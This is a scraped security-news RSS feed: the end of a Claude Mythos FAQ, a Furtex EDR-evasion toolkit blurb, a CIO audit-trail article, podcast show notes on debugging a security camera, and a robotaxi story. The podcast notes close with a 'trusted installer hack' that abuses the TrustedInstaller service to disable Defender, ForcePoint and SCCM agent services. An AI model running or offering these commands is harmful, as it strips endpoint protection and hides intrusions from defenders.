<p class="wp-block-paragraph">Cisco, one of Anthropic’s Project Glasswing partners, <a href="https://blogs.cisco.com/ai/announcing-foundry-security-spec">open-sourced its Foundry Security Spec</a>, a model-agnostic “harness” for security testing, so that other vendors and enterprise security defenders could build similar workflows without starting from scratch.</p>



<p class="wp-block-paragraph">During a recent web conference, representatives from Cisco argued that defenders can use AI to identify, confirm, and resolve security issues at much greater speed and scale. Older vulnerability remediation models based on “find one issue, patch one issue” are no longer adequate because attackers are using AI moving to accelerate the path from vulnerability discovery to exploitation.</p>



<p class="wp-block-paragraph">Cisco has been using AI internally to scan 1.8 billion lines of code across its whole product portfolio.</p>



<p class="wp-block-paragraph">Smaller businesses do not need access to restricted AI models to improve security and more can be achieved in smaller shops by improving security fundamentals such as authentication, segmentation, zero trust, and prioritizing the remediation of actively exploited vulnerabilities, according to Cisco.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">6.</span>
<h2 class="wp-block-heading">Do other AI vendors offer anything comparable to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Mythos is the most prominent example of frontier AI models that can automate zero-day discovery at a scale and speed far beyond the capability of human teams.</p>



<p class="wp-block-paragraph">Several other vendors have frontier AI models aimed towards high-capability, security-oriented operations while others have capable open models that might easily be applied to cybersecurity research.</p>



<p class="wp-block-paragraph">As a result, Claude Mythos is far from the only game in town.</p>



<p class="wp-block-paragraph">For example, OpenAI’s GPT-5.4-Cyber (and <a href="https://openai.com/index/gpt-5-5-with-trusted-access-for-cyber/">GPT-5.5</a>) has applications in vulnerability analysis and discovery as well as malware analysis and threat modelling. Security vendors, enterprises, and researchers can gain access to the technology through OpenAI’s Trusted Access for Cyber (TAC) scheme.</p>



<p class="wp-block-paragraph">Chinese cybersecurity firm <a href="https://www.reuters.com/legal/litigation/chinas-360-says-it-has-developed-tools-match-anthropics-mythos-2026-06-24/">360 Security Technology has developed Tulongfeng</a>, described as a domestic answer to Anthropic’s Mythos.</p>



<p class="wp-block-paragraph">High performance open models — including DeepSeek V3.2 and Llama 4 — can be run privately on GPU infrastructure and applied to cybersecurity research. Fugu from Japanese vendor Sakana AI offers another option in this category.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">7.</span>
<h2 class="wp-block-heading">What do cybersecurity critics say about Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Infosecurity critics note that while Claude Mythos is unquestionably advanced, marketing claims that it is reliably breaking production systems overstate its capabilities.</p>



<p class="wp-block-paragraph">Security professionals are complaining through <a href="https://www.youtube.com/watch?v=mx0CpTp3Q4Y">podcasts</a> and elsewhere about the overly sensitive guardrails in Claude Fable that downgrade to Opus 4.8 upon requests to summarize a security-related blog post or even spell the word “exploit” much less tackle any everyday information security task.</p>



<p class="wp-block-paragraph">Other experts warn that false positives are likely to be an issue for cybersecurity research using frontier AI models.</p>



<p class="wp-block-paragraph">The wider criticism is that finding more vulnerabilities faster fails to address the bigger problem of reliability fixing security bugs or non-technical attack paths such as social engineering.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">8.</span>
<h2 class="wp-block-heading">How should enterprise CISOs respond to the development of Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Western intelligence agencies that form the <a href="https://www.ncsc.gov.uk/sites/default/files/2026-06/Five-Eyes-cyber-security-agencies-statement-ai-shift.pdf">Fives Eyes alliance issued a statement warning that frontier AI models such as Claude Mythos</a> are “fundamentally transforming both offensive and defensive cyber capabilities” in a scale of months rather than years.</p>



<p class="wp-block-paragraph">“While Al will help us improve cyber defence over time, it also accelerates the speed, scale, and sophistication of cyber threats,” the group, which includes the US National Security Agency and the UK’s National Cyber Security Centre, warns.</p>



<p class="wp-block-paragraph">Enterprises need to be using AI to strengthen defenses as part of broader plans to improve cybersecurity resilience.</p>



<p class="wp-block-paragraph">AI-based systems capable of mapping realistic attack paths faster than any human adversary are fast becoming a pervasive threat, while most organizations are nowhere near ready for what that means for their threat models, one expert warns.</p>



<p class="wp-block-paragraph">“We now have AI systems that can map realistic attack paths across software, vendors, and critical infrastructure faster than human adversaries can catalog them,” says Joe Hubback, partner and CISO at consultancy Elixirr and former McKinsey Partner. “And as Mythos-class capabilities are prepared for broad commercial release, that’s no longer a niche research problem, it’s something every organization will have to factor into its threat model.”</p>



<p class="wp-block-paragraph">An <a href="https://labs.cloudsecurityalliance.org/wp-content/uploads/2026/04/mythosready-20260413.pdf">AI safety paper from the Cloud Security Alliance</a> warns that AI has significantly compressed the time between vulnerability discovery and exploitation, outpacing traditional patch-and-react security models. Organizations should brace for ongoing waves of AI-discovered vulnerabilities from Project Glasswing and other sources.</p>



<p class="wp-block-paragraph">“The capabilities seen in Mythos will quickly become more widely available, dramatically increasing the number and frequency of complex, novel attacks organizations will face,” it warns.</p>



<p class="wp-block-paragraph">Enterprise security defenders need to shift to a “Mythos-ready” approach built around continuous vulnerability operations, faster prioritization, and improved incident response.</p>
</div>
</div></div>
</div>



<p class="wp-block-paragraph"><strong>See also:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">What Anthropic Glasswing reveals about the future of vulnerability discovery</a></li>



<li><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">Anthropic’s Mythos signals a structural cybersecurity shift</a></li>



<li><a href="https://www.csoonline.com/article/4180920/beware-the-son-of-mythos-security-experts-warn.html">Beware the ‘son of Mythos,’ security experts warn</a></li>



<li><a href="https://www.csoonline.com/article/4189600/mythos-is-a-signal-not-a-siren-what-frontier-ai-should-change-for-cisos.html">Mythos is a signal, not a siren: What frontier AI should change for CISOs</a></li>
</ul>
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<title><![CDATA[Furtex Linux Toolkit Uses io_uring and eBPF to Bypass EDR and Falco Detection]]></title>
<description><![CDATA[A newly published Linux toolkit named Furtex showcases a wide range of concepts related to post-exploitation, persistence, data access, and monitoring evasion. It is built around io_uring, eBPF, BPF maps, and raw system calls. The project includes over 100 tools…
Read more →
The post Furtex Linux...]]></description>
<link>https://tsecurity.de/de/3680370/it-security-nachrichten/furtex-linux-toolkit-uses-iouring-and-ebpf-to-bypass-edr-and-falco-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680370/it-security-nachrichten/furtex-linux-toolkit-uses-iouring-and-ebpf-to-bypass-edr-and-falco-detection/</guid>
<pubDate>Mon, 20 Jul 2026 08:22:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly published Linux toolkit named Furtex showcases a wide range of concepts related to post-exploitation, persistence, data access, and monitoring evasion. It is built around io_uring, eBPF, BPF maps, and raw system calls. The project includes over 100 tools…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/furtex-linux-toolkit-uses-io_uring-and-ebpf-to-bypass-edr-and-falco-detection/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/furtex-linux-toolkit-uses-io_uring-and-ebpf-to-bypass-edr-and-falco-detection/">Furtex Linux Toolkit Uses io_uring and eBPF to Bypass EDR and Falco Detection</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[Furtex Linux Toolkit Uses io_uring and eBPF to Bypass EDR and Falco Detection]]></title>
<description><![CDATA[A newly published Linux toolkit named Furtex showcases a wide range of concepts related to post-exploitation, persistence, data access, and monitoring evasion. It is built around io_uring, eBPF, BPF maps, and raw system calls. The project includes over 100 tools organized into modules that cover ...]]></description>
<link>https://tsecurity.de/de/3680276/it-security-nachrichten/furtex-linux-toolkit-uses-iouring-and-ebpf-to-bypass-edr-and-falco-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680276/it-security-nachrichten/furtex-linux-toolkit-uses-iouring-and-ebpf-to-bypass-edr-and-falco-detection/</guid>
<pubDate>Mon, 20 Jul 2026 07:53:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly published Linux toolkit named Furtex showcases a wide range of concepts related to post-exploitation, persistence, data access, and monitoring evasion. It is built around io_uring, eBPF, BPF maps, and raw system calls. The project includes over 100 tools organized into modules that cover asynchronous I/O operations, BPF inspection and manipulation, EDR evasion techniques, […]</p>
<p>The post <a href="https://gbhackers.com/furtex-linux-toolkit/">Furtex Linux Toolkit Uses io_uring and eBPF to Bypass EDR and Falco Detection</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[The audit trail CIOs need before the next cyber crisis]]></title>
<description><![CDATA[In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.



Beneath that...]]></description>
<link>https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/</guid>
<pubDate>Mon, 20 Jul 2026 02:13:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.</p>



<p class="wp-block-paragraph">Beneath that dashboard sat an unmapped web of legacy technical debt, undocumented service accounts and shadow cloud instances. For years, presenting a green dashboard to the audit committee could give technology leaders a false sense of comfort. If a catastrophic breach occurred, it was generally treated as an unpredictable operational tragedy, managed via cyber insurance, a carefully calibrated public relations pivot and perhaps a quiet executive transition.</p>



<p class="wp-block-paragraph">Today, that corporate shield is thinner than many technology leaders assume. For technology leaders in regulated or public-company environments, executive exposure is no longer only a theoretical debate. The regulatory environment has made plausible deniability much harder to sustain.</p>



<h2 class="wp-block-heading">The erosion of the corporate shield</h2>



<p class="wp-block-paragraph">With the application of the European Union’s <a href="https://www.eiopa.europa.eu/digital-operational-resilience-act-dora_en">Digital Operational Resilience Act (DORA)</a> for financial entities, alongside the broader <a href="https://digital-strategy.ec.europa.eu/en/policies/nis2-directive">NIS2 Directive</a> for essential and important entities, cybersecurity governance has become harder to separate from board-level oversight. DORA places ultimate responsibility for ICT risk management on the management body of financial entities, while NIS2 requires management bodies to approve and oversee cybersecurity risk-management measures. In the United States, the <a href="https://www.sec.gov/newsroom/press-releases/2023-139">U.S. Securities and Exchange Commission’s cybersecurity disclosure rules</a> require public companies to disclose material cyber incidents and describe their cyber risk management, strategy and governance in annual filings. The new burden is not simply to operate controls; it is to show, after the fact, that leadership decisions matched the risk evidence available at the time.</p>



<p class="wp-block-paragraph">The serious risk to a modern CIO is not simply the occurrence of a sophisticated security incident. The true danger is the inability to reconcile what leadership presented externally to investors, regulators and the board with what the internal evidence showed inside the environment.</p>



<p class="wp-block-paragraph">When a serious crisis breaks, you may find yourself surrounded by corporate defense counsel, regulatory investigators and outside forensic lawyers all asking variations of the same uncomfortable questions: What did you know, when did you discover it and what specific actions did you take next?</p>



<p class="wp-block-paragraph">When those questions are asked, a slide deck asserting that your security posture is “aligned with industry best practices” will not be enough. A post-incident review may recognize that sophisticated attacks occur. What creates greater exposure is evidence that known risks were ignored, understated or left outside structured governance. To survive that level of post-incident review, one of your strongest assets is a disciplined, independent evidence trail showing that risks were identified, challenged, escalated and acted on before the first indicator of compromise appeared.</p>



<h2 class="wp-block-heading">Why point-in-time comfort letters fail regulatory scrutiny</h2>



<p class="wp-block-paragraph">The reality we face is that legacy compliance evidence often falls short under regulatory scrutiny. For years, the annual SOC 2 Type II report or a standardized ISO 27001 certification was brandished by technology teams as the definitive proof of a functional control environment. I have sat in dozens of scoping meetings where an engineering director pointed to a freshly minted compliance report as if it were a complete defense against scrutiny.</p>



<p class="wp-block-paragraph">But a compliance report is a historical artifact—a retrospective evaluation of how specific controls operated during a defined window of time months in the past. It tells an investigator that on a random afternoon in Q2, your production change-management approvals conformed to a baseline policy. It says absolutely nothing about the configuration drift, unauthorized API keys or emergency patch bypasses that developers introduced the following weekend to hit a product release deadline.</p>



<p class="wp-block-paragraph">Modern regulators, boards and investors are no longer satisfied by historical comfort letters alone. Under contemporary frameworks, especially regimes focused on operational resilience, static compliance evidence is no longer enough. The expectation of due care has shifted from a passive state of compliance to an active state of continuous challenge. Increasingly, post-incident reviews look for evidence that leadership identified system vulnerabilities, formally escalated material deficiencies, evaluated systemic risk to the business and tracked remediation progress with measurable rigor.</p>



<p class="wp-block-paragraph">When an architecture fails, post-incident reviews often focus quickly on ownership, escalation and whether known risks were acted upon. If your defensive documentation consists entirely of static policy documents and green dashboards, you leave an evidentiary vacuum that can invite difficult questions about executive oversight. Post-incident reviews rarely turn on perfection. They turn on whether the organization can show a traceable chain of governance.</p>



<h2 class="wp-block-heading">5 non-negotiable artifacts for your executive evidence engine</h2>



<p class="wp-block-paragraph">This reality requires a complete reframing of your relationship with your IT audit department. Historically, this dynamic has been defined by friction. Technology leaders frequently view my peers and me as compliance traffic cops—bureaucrats who interrupt core engineering sprints to demand evidence samples, user access reviews and system configurations.</p>



<p class="wp-block-paragraph">It is time to view IT audit through a pragmatic lens: we are your independent evidence engine. We are one of the few corporate functions tasked with independently challenging your control environment, documenting where exceptions were escalated and showing how management responded. When an auditor identifies a control gap and partners with you to draft a management action plan, they are not creating a bureaucratic roadblock. They are helping you construct an evidence trail that can show risk was identified, escalated and acted upon.</p>



<p class="wp-block-paragraph">To transform your IT audit function into an effective executive shield, you must shift focus away from superficial check-the-box exercises and collaborate on specific artifacts. The most effective exercise you can run with your audit leadership is to flip the timeline completely and ask: if this program were reviewed six months from now, which evidence would show we governed the risk before it failed?</p>



<ol class="wp-block-list">
<li><strong>Board-facing risk registers with escalation history:</strong> A risk register that sits unreviewed on an intranet page for 12 months is not a management tool; to an investigator, it can look like evidence that known risks were not actively governed. Your material technology, cybersecurity and dependency risks must be centrally logged. More importantly, this artifact must contain a clear, chronological escalation history showing exactly when the risk was presented to leadership committees and the board, along with related minutes, decisions or follow-up actions.</li>



<li><strong>Granular risk acceptance records:</strong> You cannot remediate every vulnerability instantly. Business continuity, legacy software limitations and budgetary boundaries require you to accept certain operational exposures. When this occurs, ensure your risk acceptance records are airtight. A defensible record must document the specific technical variance, the precise financial or operational rationale for the delay, a definitive expiration date, explicit executive sign-off and the active compensating controls deployed to reduce the blast radius in the interim.</li>



<li><strong>Tabletop and operational simulation records:</strong> Independent frameworks such as <a href="https://www.isaca.org/digital-trust">ISACA’s Digital Trust Ecosystem Framework</a> can help structure this evidence, but boards and regulators will still look for proof that the testing actually happened. Your audit trail should contain comprehensive records of cyber incident, disaster recovery and third-party dependency simulations. These records must detail the scenario tested, the executive participants, the control failures identified during the drill and a formalized tracking schedule showing when those gaps were closed.</li>



<li><strong>AI governance inventories and data-flow mappings:</strong> The rapid deployment of generative AI tools across enterprise operations has created a massive blind spot for technology executives. In one audit, we found developers using an unapproved public large language model to accelerate debugging with sensitive internal code. To protect yourself, work with your audit team to build an active enterprise AI inventory that maps data lineage, identifies model business owners, documents risk classification approvals and demonstrates active technical monitoring for unauthorized data exfiltration.</li>



<li><strong>Synchronized disclosure-control handoffs:</strong> When a material security incident or system outage occurs, the clock begins ticking for regulatory reporting. Your incident response playbook must be technically linked to your corporate disclosure controls. The audit trail should show that a documented, synchronized handoff occurred between your technical response leaders, general counsel, chief financial officer and corporate communications team. This evidence helps show that your external statements match internal technical realities.</li>
</ol>



<p class="wp-block-paragraph">In the modern corporate ecosystem, technology leadership is no longer just an engineering challenge; it is an exercise in rigorous, evidence-based governance. The regulatory landscape has changed, and the expectation of continuous traceability cannot be avoided.</p>



<p class="wp-block-paragraph">Open and direct collaboration with your IT audit team will not prevent a zero-day exploit, an unexpected cloud outage or a critical third-party vendor failure. That is not the purpose of enterprise risk management.</p>



<p class="wp-block-paragraph">The true value is far more practical: when a serious incident puts your program under review, you will not be forced to defend your reputation with a feeling, an unverified assumption or a misleadingly green dashboard. Instead, you will have an independent record showing that risk was actively seen, appropriately challenged, properly escalated and responsibly managed. In today’s regulatory environment, that disciplined trail of evidence may be the difference between a failure that can be explained and one that begins to look negligent.</p>



<p class="wp-block-paragraph">.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
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<title><![CDATA[HPR4686: Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds]]></title>
<description><![CDATA[This show has been flagged as Explicit by the host.


 Show Notes


 Episode Overview




Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sen...]]></description>
<link>https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/</guid>
<pubDate>Mon, 20 Jul 2026 02:06:59 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Explicit by the host.</p>

<h1>
 Show Notes</h1>

<h3>
 Episode Overview</h3>

<ul>

<li>
Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.</li>

</ul>

<h3>
 Key Topics &amp; Breakdown</h3>

<ul>

<li>

<ul>

<li>

<strong>
Egg Drop Soup Hack:</strong>
 How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.</li>

<li>

<strong>
Camera Setup &amp; Network Config:</strong>
 Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.</li>

<li>

<strong>
Python &amp; Cron Automation:</strong>
 Running a custom Python script every 2 minutes to check for new recordings, parsing logs with <code>
grep -v</code>
, and navigating massive log files in <code>
vi</code>
.</li>

<li>

<strong>
Windows Troubleshooting Tangent:</strong>
 Deleting the stubborn <code>
Windows.old</code>
 folder using the TrustedInstaller service hack (<code>
ExecTI.exe</code>
) instead of taking ownership manually.</li>

<li>

<strong>
Time Sync &amp; Firmware Quirks:</strong>
 Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming <code>
.bin</code>
 to <code>
.zip</code>
, and extracting with 7-Zip.</li>

<li>

<strong>
Pre-Flash Backup Routine:</strong>
 Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.</li>

</ul>

</li>

</ul>

<h3>
️ Tools &amp; Techniques Mentioned</h3>

<ul>

<li>

<ul>

<li>

<code>
crontab</code>
 + Python scripts for automated monitoring</li>

<li>

<code>
grep -v</code>
, <code>
cat</code>
, <code>
tail</code>
, and <code>
vi</code>
 (line navigation with <code>
:1000</code>
)</li>

<li>
Obsidian for note-taking &amp; AI assistant integration</li>

<li>
Firefox/Playwright for headless browser testing</li>

<li>
Turbo Download Manager &amp; Bolt Media Downloader for multi-threaded/sniffing downloads</li>

<li>
7-Zip for archive extraction</li>

<li>
Google Drive for searchable config backups</li>

</ul>

</li>

</ul>

<h3>
 Resources &amp; Links</h3>

<ul>

<li>

<ul>

<li>

<strong>
Python API Script:</strong>
 <a href="https://github.com/freeload101/Python/blob/master/Uniview_API_IPC3628SR-ADF28KM-WP_get_Last.py" rel="noopener noreferrer" target="_blank">
Uniview IPC3628SR Recording Checker</a>

</li>

<li>

<strong>
Camera Model:</strong>
 <code>
IPC3628SR</code>
 (Uniview Wyze ISP Warm Light Deterrent Network Camera)</li>

<li>

<strong>
TrustedInstaller Run-as Tool:</strong>
 <a href="https://rmccurdy.com/.scripts/downloaded/ExecTI_TrustedInstaller_Runas.zip" rel="noopener noreferrer" target="_blank">
ExecTI TrustedInstaller Runner</a>

</li>

</ul>

</li>

</ul>

<h3>
 Quick Takeaways</h3>

<ol>

<li>

<ol>

<li>
 Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.</li>

<li>
 Use <code>
grep -v "noise"</code>
 to quickly filter out repetitive log entries when debugging automation scripts.</li>

<li>
 Windows system folders can be stubborn; running commands as <code>
TrustedInstaller</code>
 bypasses hidden file locks without manual ownership changes.</li>

<li>
 Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.</li>

<li>
 Third-party download links often use temporary tokens or <code>
.bin</code>
 wrappers; renaming to <code>
.zip</code>
 and verifying with 7-Zip can save headaches.</li>

</ol>

</li>

</ol>

<ul>

<li>

<em>
Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.</em>
  </li>

</ul>

<p>

</p>

<p>

</p>

<p>
Example trusted installer hack</p>

<p>

</p>

<p>

</p>

<p>
# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...</p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4686/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[Dozens of Robotaxi Riders Are Falling Asleep, Sparking Frantic Calls For Emergency Services]]></title>
<description><![CDATA["If tired or wasted passengers fall asleep in a traditional taxi or rideshare, the driver can shout or shake them awake," reports Bloomberg. "Not so in a robotaxi..."

Ditto Kasendar remembers soft music drifting from the robotaxi's speakers as he rode home late at night from a friend's birthday ...]]></description>
<link>https://tsecurity.de/de/3680123/it-security-nachrichten/dozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680123/it-security-nachrichten/dozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services/</guid>
<pubDate>Mon, 20 Jul 2026 01:23:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["If tired or wasted passengers fall asleep in a traditional taxi or rideshare, the driver can shout or shake them awake," reports Bloomberg. "Not so in a robotaxi..."

Ditto Kasendar remembers soft music drifting from the robotaxi's speakers as he rode home late at night from a friend's birthday party in 2025. The next moment, Los Angeles firefighters were opening the door and asking if he was OK. His six-minute trip had ended nearly an hour before. A remote Waymo assistant, dialling in through the car's speakers, repeatedly tried to rouse him and finally called 911 when he wouldn't stir... 

Kasendar's robocab nap was, unfortunately, not an isolated incident. As companies like Alphabet and Tesla bring self-driving taxis to more cities, the messier aspects of serving unpredictable humans are becoming harder to ignore. Passengers are falling asleep, spilling drinks, dropping food, vomiting, experiencing medical emergencies and, in at least two instances, giving birth in the cars. They stumble out of the vehicles and forget to close the doors, forcing the operators to pay nearby gig workers to do it. 
These seemingly minor nuisances are becoming a drain on municipal resources and complicating the roll-out of robotaxi service. So many robotaxi customers have nodded off in the midst of a ride that Austin police and firefighters even have a name for the incidents: "sleepers". The Texas capital recorded 99 such calls in Waymo's first nine months of service there, said Roger Patterson, a commander with Austin-Travis County Emergency Medical Services... Remote assistants monitoring the cars try talking through the speakers and checking on passengers with interior cameras. But if they get no response, company protocols often require them to call 911. And first responders have to assume the worst. Austin dispatchers treat an incident as a potential heart attack if the remote assistant can't tell whether the passenger is breathing, Patterson said. In the end, only about 3% of such calls require transporting the passenger to a hospital, he said. But the incidents tie up personnel who might be needed elsewhere.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/19/236218/dozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Swaybeing, a screentime monitoring damon]]></title>
<description><![CDATA[submitted by    /u/OliMoli2137   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3679944/linux-tipps/swaybeing-a-screentime-monitoring-damon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679944/linux-tipps/swaybeing-a-screentime-monitoring-damon/</guid>
<pubDate>Sun, 19 Jul 2026 22:24:21 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/OliMoli2137"> /u/OliMoli2137 </a> <br> <span><a href="https://www.reddit.com/r/swaywm/comments/1v0vt5d/swaybeing_a_screentime_monitoring_damon/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v0vtos/swaybeing_a_screentime_monitoring_damon/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[CoreFreq improves its support for monitoring Spark cores @ github.com/cyring/CoreFreq]]></title>
<description><![CDATA[submitted by    /u/CyrIng   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3679943/linux-tipps/corefreq-improves-its-support-for-monitoring-spark-cores-githubcomcyringcorefreq/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679943/linux-tipps/corefreq-improves-its-support-for-monitoring-spark-cores-githubcomcyringcorefreq/</guid>
<pubDate>Sun, 19 Jul 2026 22:24:20 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/CyrIng"> /u/CyrIng </a> <br> <span><a href="https://www.reddit.com/r/CoreFreq/comments/1ukqv6e/corefreq_for_nvidia_dgx_spark/oy9kg1p/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v0zuy8/corefreq_improves_its_support_for_monitoring/">[comments]</a></span>]]></content:encoded>
</item>
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<title><![CDATA[Genius Bar AI tools spark concerns over employee monitoring & evaluation]]></title>
<description><![CDATA[Apple is testing a new Genius Bar tool called Live Notes that transcribes and summarizes conversations with a customer, but employees are worried about how the tool might be used against them.Genius Bar employees may gain a new AI assistantArtificial intelligence has become a buzzword throughout ...]]></description>
<link>https://tsecurity.de/de/3679619/ios-mac-os/genius-bar-ai-tools-spark-concerns-over-employee-monitoring-evaluation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679619/ios-mac-os/genius-bar-ai-tools-spark-concerns-over-employee-monitoring-evaluation/</guid>
<pubDate>Sun, 19 Jul 2026 16:39:02 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is testing a new Genius Bar tool called Live Notes that transcribes and summarizes conversations with a customer, but employees are worried about how the tool might be used against them.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68287-143944-iPad-mini-7-4-xl.jpg" alt="Back of a gray Apple iPad with rear camera and Apple logo, set against a dark background featuring glowing neon loops in orange, yellow, blue, and pink" height="738"><br><span>Genius Bar employees may gain a new AI assistant</span></div><br>Artificial intelligence has become a buzzword throughout the tech industry from both the consumer and employee perspective. Employees of any kind at many companies have had to contend with mandatory AI tool use forced on them by the employer.<br><br>So far, reports haven't indicated Apple taking such a hardline route to AI tool use. However, the "Power On" newsletter from <em>Bloomberg</em> <a href="https://www.bloomberg.com/account/newsletters/power-on">shares that</a> Apple is testing a new tool called Live Notes for use in the Genius Bar.<br><br><br> <a href="https://appleinsider.com/articles/26/07/19/genius-bar-ai-tools-spark-concerns-over-employee-monitoring-evaluation?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244993?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[An SRE's Guide to Camping in Extreme Conditions (emf2026)]]></title>
<description><![CDATA[Winter camping in the Alps sounds beautiful… doesn't it? 

That is, until the pipes freeze or the heating goes out when it’s -21°C outside. By day, I'm an SRE responsible for incident management, triaging alerts, and calling in subject matter experts when required. It turns out that those skills ...]]></description>
